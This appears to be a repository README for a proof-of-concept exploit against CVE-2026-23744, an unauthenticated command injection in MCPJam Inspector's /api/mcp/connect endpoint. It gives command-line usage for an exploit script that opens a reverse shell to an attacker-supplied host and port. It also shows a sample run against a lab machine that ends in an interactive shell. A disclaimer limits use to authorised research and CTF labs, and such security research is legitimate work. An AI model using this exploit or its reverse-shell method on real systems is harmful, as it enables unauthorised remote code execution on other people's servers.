mluex0/cve-2026-23744-pocCVE-2026-23744 is an unauthenticated command injection in MCPJam Inspector ≤1.4.2 via /api/mcp/connect. This POC exploits it by sending a crafted JSON payload to execute arbitrary commands, granting a reverse shell with PTY.
This proof-of-concept is provided exclusively for authorised security research, educational purposes, and controlled lab environments (e.g., HTB, CTF, or internal penetration testing with explicit written consent). Unauthorised use against any system without permission is illegal and unethical. The author assumes no liability for misuse; users are solely responsible for complying with all applicable laws and regulations.
CVE-2026-23744 is an unauthenticated command injection vulnerability in MCPJam Inspector (version ≤ 1.4.2).
The /api/mcp/connect endpoint accepts a JSON payload with serverConfig.command and serverConfig.args and passes them directly to a system process spawn without any sanitisation. An attacker can send a crafted request to execute arbitrary system commands, gaining a reverse shell with the privileges of the service user.
This repository contains a full working exploit script with an optional automatic PTY‑based interactive listener (enabled by default).
requests library (pip install requests)Important: Provide only the hostname or IP. The script automatically adds http:// or https://
python3 exploit.py -t <target> -l <your_ip> [-r <port>] [--ssl] [--check-only]
| Option | Description |
|---|---|
-t, --target | Target hostname or IP (required) |
-p, --port | Target port (default: 6274) |
-l, --lhost | Your IP for the reverse shell (required) |
-r, --lport | Your listener port (default: 4444) |
--ssl | Use HTTPS instead of HTTP |
--check-only | Only check vulnerability, don't send shell |
The script starts its own listener and gives you a shell directly in your terminal.
python3 exploit.py -t <example_hostname> -l <your_IP> -r <Listener_Port>
$ python3 exploit.py -t devhub.htb -l 10.10.14.111 -r 4444
[*] Target URL: http://devhub.htb:6274/api/mcp/connect
[*] Checking target...
[+] Target responded with 400 – appears vulnerable
[*] Sending exploit payload...
[+] ReadTimeout – shell likely spawned!
[*] Payload sent. Check your listener!
# On your listener:
connect to [10.10.14.111] from (UNKNOWN) [10.129.245.216] 54150
mcp-dev@devhub:/opt/mcpjam$ id
uid=1001(mcp-dev) gid=1001(mcp-dev) groups=1001(mcp-dev)
root.This repository is for educational and authorised testing purposes only. Use at your own risk.
Author: Mluex0 Date: August 2026